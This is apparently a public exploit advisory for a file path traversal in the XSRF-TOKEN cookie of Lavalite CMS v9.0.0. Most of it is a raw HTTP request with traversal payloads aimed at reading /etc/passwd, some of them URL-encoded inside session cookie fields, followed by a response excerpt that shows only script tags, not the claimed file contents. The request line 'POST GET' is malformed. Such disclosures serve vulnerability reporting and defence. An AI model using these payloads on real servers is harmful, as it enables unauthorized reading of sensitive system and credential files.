Lavalite v9.0.0 – XSRF-TOKEN cookie File path traversal
## Exploit Title: Lavalite v9.0.0 - XSRF-TOKEN cookie File path traversal ## Exploit Author: nu11secur1ty ## Date: 09.29.2022 ## Vendor: https://lavalite.org/ ## Software: https://github.com/LavaLite/cms/releases/tag/v9.0.0 ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/LavaLite ## Description: The XSRF-TOKEN cookie is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server. The payload ../../../../../../../../../../../../../../../../etc/passwd[0x00]eyJpdiI6InhwNlhibUc0K3hrL3RQdHZNYlp5Qnc9PSIsInZhbHVlIjoiU2daQ2YzeFNWSjN4OHZNdEZSMlhiOVpkbGUweDdKSDdXbXc1eitGc3RSTXNFTFBqUGR1ekJOSitUTjcyWVRYTkVzV2lpMDkxb3FHM2k5S1Y2VlZZRGVVN2h2WkpJeGcxZVluVDhrdDkvUDgxN2hTNjY5elRtQllheDlPOEM5aGgiLCJtYWMiOiI4ZDBkMjI0NmFkNDQ2YTA5ZjhkNDI0ZjdhODk0NWUzMjY2OTIxMjRmMzZlZjI4YWMwNmRiYTU5YzRiODE5MDk5IiwidGFnIjoiIn0= was submitted in the XSRF-TOKEN cookie. The requested file was returned in the application's response. The malicious user can get very sensitive information from this CMS system. STATUS: HIGH Vulnerability [+]Payload: ```POST GET /cms-master/website/public/about.html HTTP/1.1 Host: pwnedhost.com Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Connection: close Cache-Control: max-age=0 Cookie: XSRF-TOKEN=eyJpdiI6IjNZbEZudjg0RXpFNEVLWHBUK0p6R1E9PSIsInZhbHVlIjoiNjFVbmZUVUJQWVdYWXJVOUVJRWVVdHN0UWtOQjJXZGRiS2N4T2lkM0VDeXFxcDRZdG1tRFVaQUk3dlhsWHRvOVQxVnQvbFhWRUJTbUllczh6MmhFUE84N1puNVFMSVFFeWdmRlJUYkdFRGdCakZ4eEJXeHllRTdFOFNPK0pLcnkiLCJtYWMiOiJhMDBlZWFiNDFlNzE2Yzc1ZjA2NzEzYzY2Y2U0ZDQ3NzdkMTI4OTY1NjA4OTNmNDE4ZDNmNWRkYzFkN2IzMWEwIiwidGFnIjoiIn0%3D; lavalite_session=eyJpdiI6ImxiWmVuV0xlU3ZtVWhLVW1Oc2duSEE9PSIsInZhbHVlIjoiUG5WMjhMNVppUkhST1Bta1FOd1VJUDR5ZW1lRU56bXpDTnpaVzkrUHFzQzJpKzE4YlFuNEQ2RnNlKzM2Tkg0Y2VZMExCRTBUUnRQajlpTmJCUXJjT3ZETzV6OVZveURuaTFHOHdoN3pneUR3NGhQc09OUjdKb0VreFV1Y0tuOTgiLCJtYWMiOiJlMTdlMTAyZTQ3MmMyMjZlMWE5MTkwMzc0NTU2OTFkOTlmOTM4MGVlZDE4NWU4MGNkZGM4OTllMTRmYTE3MGM1IiwidGFnIjoiJTJlJTJlJTJmJTJlJTJlJTJmJTJlJTJlJTJmJTJlJTJlJTJmJTJlJTJlJTJmJTJlJTJlJTJmJTJlJTJlJTJmJTJlJTJlJTJmJTJlJTJlJTJmJTJlJTJlJTJmZXRjJTJmcGFzc3dkIn0%3d Upgrade-Insecure-Requests: 1 Referer: http://pwnedhost.com/cms-master/website/public/ Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="105", "Chromium";v="105" Sec-CH-UA-Platform: Windows Sec-CH-UA-Mobile: ?0 Content-Length: 0 ``` [+]Response: ```Request <script src="http://pwnedhost.com/cms-master/website/public/themes/public/assets/dist/js/manifest.js"></script> <script src="http://pwnedhost.com/cms-master/website/public/themes/public/assets/dist/js/vendor.js"></script> <script src="http://pwnedhost.com/cms-master/website/public/themes/public/assets/dist/js/app.js"></script> <script src="http://pwnedhost.com/cms-master/website/public/themes/public/assets/js/main.js"></script> <script src="http://pwnedhost.com/cms-master/website/public/themes/public/assets/js/theme.js"></script> ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/LavaLite) ## Proof and Exploit: [href](https://streamable.com/nis1hg) -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html and https://www.exploit-db.com/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/> |